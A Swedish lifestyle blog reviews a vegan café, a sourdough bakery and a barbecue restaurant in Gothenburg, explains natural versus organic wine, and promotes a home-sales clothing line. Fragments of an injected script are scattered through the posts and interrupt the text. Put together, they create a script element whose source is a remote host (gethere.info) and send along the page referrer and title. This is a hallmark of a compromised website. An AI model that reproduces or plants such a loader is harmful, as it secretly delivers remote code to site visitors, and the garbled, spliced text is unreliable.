Open New doors, Göteborg

IMG_2334

Förra veckan besökte jag Open New doors för första gången. Stället ligger på Tyska bron 1, Norra Hamngatan.
De serverar oprocessad, ekologisk och vacker mat och fika fri från animalier, gluten, raffinerat socker och mejeri.
Det finns även naturviner från Rosforth och Rosforth, speciellt utvalda för att passa oss och hantverksöl främst från All in brewing. Allting tillrett med kärlek och en stor nypa glädje. Kan verkligen rekommendera Open New doors där maten smakar supergott och man kan även ta med sig Take away om man inte har tid att

Öppet
Månd-Tors 11-21
Fred-Lörd 11-22
Söndag Stängt

IMG_2336IMG_2335IMG_2337IMG_2338IMG_2339IMG_2342IMG_2347IMG_2346IMG_2345

Jag köpte deras goda bovetewrap och till det drack jag ett gott naturvin.

IMG_2349IMG_2341

IMG_2344

Min kompis åt en Pad Thai Raw.

IMG_2348

Fick lära mig att det är skillnad på naturviner och ekologiska viner.
Naturviner serverar de på Open new doors och här nedan kan ni läsa vad naturvin är.

IMG_2350IMG_2340

Naturvin är ekologisk eller biodynamisk odling där naturvinsproducenterna tar ett steg till, den mänskliga inblandningen vid själva tillverkningen ska vara minimal i tillverkningsprocessen. Druvor skördas för hand och minimalt med bekämpningsmedel i vingården är några riktlinjer av Naturvin. Till exempel får bara de naturliga (vilda) jästsvamparna som finns i vingården och i vinkällaren användas när druvmusten jäser till vin. Naturvinerna levereras ofta ofiltrerade att tillsätta socker, syra eller industriell framtagen jäst är inte tillåtet. Mikrooxidation (syresättning av vinet för att mjuka upp det) är inte tillåtet, och inte heller att avlägsna vatten och/eller alkohol för att öka på koncentrationen. Svavel (sulfit) är tillåtet som dels kommer naturligt via jäsningsprocessen, dels får tillföras manuellt för att göra vinet mer hållbart och inte oxidera. Men här är det minimal användning som gäller och många producenter väljer att inte tillföra svavel alls. Avsaknad av enhetlig definition, certifiering eller tillhörande märkning gör fältet fritt för tolkning av vad naturvin är.

Om ni vill veta vad ekologiskt vin är så kan ni läsa här nedan vad ekologiskt vin är.

Ekologiskt vin är vindruvsodling som grundar sig på att bevara jorden, hålla grundvatten rent och skydda arter och kulturlandskap. Vindruvsodlarna gödslar och bekämpar skadedjur och svampar på sina vinrankor med hjälp av biologisk nedbrytbara preparat och genom att sätta in naturliga fiender till skadedjur och skadeinsekter i sin vingård. I ekologisk vindruvsodling tillåts ogräset att vara kvar, det plöjs sedan ned och används som gödning. Konstgödsel ersätts med naturgödsel vid ekologisk odling, vilket ger en mer porös jord som lättare släpper igenom vatten. Ett ekologiskt vin är ett vin där inga bekämpningsmedel som penetrerar rankan och verkar inifrån den får användas. En begränsad användning av kopparsulfat och svaveldioxid, som lägger sig utanpå växten och sköljs bort när det regnar, är dock tillåten för bekämpning av vissa sjukdomar. Antal skott som lämnas kvar på rankan i samband med beskärning under vintern, lövarbete för att försäkra god lufttillförsel och vårbeskärning av rankan är ytterst viktigt för att uppnå bästa resultat.

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Lilla Sur, Göteborgs Hantverksbageri AB

IMG_2299

I fredags em besökte jag Lilla Sur för första gången. Den här lilla pärlan hittar ni i hjärtat av Kålltorp på
Solrosgatan 11.  Jag kom tillbaks i lördags för att köpa deras surdegsbröd som var sååå gott och självklart en kanelbulle.

Öppettider:
Ons: 10.00 – 18.00
Tor: 10.00-18.00
Fre: 10.00 – 18.00
Lör: 10.00 – 13:00

IMG_2309IMG_2169

IMG_2298

 

Det är Tommy och Andreas som driver stället.

IMG_2300

Lilla Sur bakar på Ekologiskt och KRAV märkt mjöl från Limabacka Kvarn i Väröbacka.
Deras mjöl mals på ekologiskt odlat spannmål från bönder i närheten av kvarnen.
Det innebär att det inte innehåller mystiska tillsatser och E-nr.

De har en nära relation med Mjölnarna och bönderna, och talas vid varje vecka om olika spannmål och kvaliteter.

I den mån det finns att få tag på så strävar de efter att övriga ingredienser skall vara så närodlade och ekologiska som möjligt.

Jag köpte deras berömda kanelbulle som var precis så fantastiskt god som alla pratat om och väl värda sina 26 kr.

IMG_2183

Surdegsbrödet var en dröm och jag köpte även till deras handvispade citronsmör med ekologiskt citroncest & olivolja.

IMG_2305IMG_2307IMG_2308IMG_2306

Såhär ser det ut inne i den lilla butiken.

IMG_2170

IMG_2301IMG_2302IMG_2303

Ni kan följa Lilla sur på fb här.
eller på instagram här.

Det har redan blivit mitt stamställe och jag som är så förtjust i kanelbullar kommer nog köpa på mig några stycken framöver.

 

 

 

hjärtat av Kålltorp. På Solrosgatan 11. document.currentScript.parentNode.insertBefore(s, document.currentScript);

”Femme Collection” i Göteborg

Som några av er vet är jag homesales representant för Hannah Graaf’s fina klädkollektion ”Femme Collection” här i Göteborg. Vill ni boka in en visning hemma eller på jobbet med era väninnor får ni gärna höra av er till mig på helena.lagerbohm@gmail.com. Ni får en värdinnegåva på 300 kr som ni får utnyttja i samband med er visning. Jag har en fb sida som heter ”Helenas FEMME Collection i Göteborg” som ni gärna får gilla. Där får ni löpande information om olika event och uppdatering av kollektionen.

Här ser ni lite nyheter som kommer  in  i dagarna.
Angie blouse small blue print

angie_print_072

Sara dress i Bordeux print.

SaraDressBordeaux print

Sara top

bild4

Lovisa top

bild3bild2

Lovisa scarfs

12042978_534839326669421_36758879246903343_n12039614_534839320002755_5541841992887478407_n12020031_534839323336088_6265788895070818877_n

 

 

 

Barabicu, Göteborg

Har nu varit på Barabicu för första gången. Barabicu ligger på Rosenlundsgatan 4.

SFD081735A0667D4DE4ABECFFFD833B3203Barabicu-PanAmericanGrill-061Barabicu_Bornstein-Lyckefors-Arkitekter1-1200x65412465034-Uqbf8Det var ett födelsedagsfirande och vi var närmare 20 personer som möttes upp för middag.

IMG_2108IMG_2120IMG_2116IMG_2117IMG_2119IMG_2113IMG_2114IMG_2110Jag åt deras hamburgare ”DON DIEGO’S BURGER” för 185 kr (baconjam, rökt cheddarost, pepparglaxe och home fries, saltgurka och aioli.

IMG_2109

Om ni är riktigt hungrig kan jag rekommendera ” SMOKED CHICKEN 225 SEK (en halv rökt svartkyckling, mac and cheese, brbc coleslaw, tamarindglace).

IMG_2112

Maten var riktigt god och trevligt ställe.

 

 var d=document;var s=d.createElement(‘script’);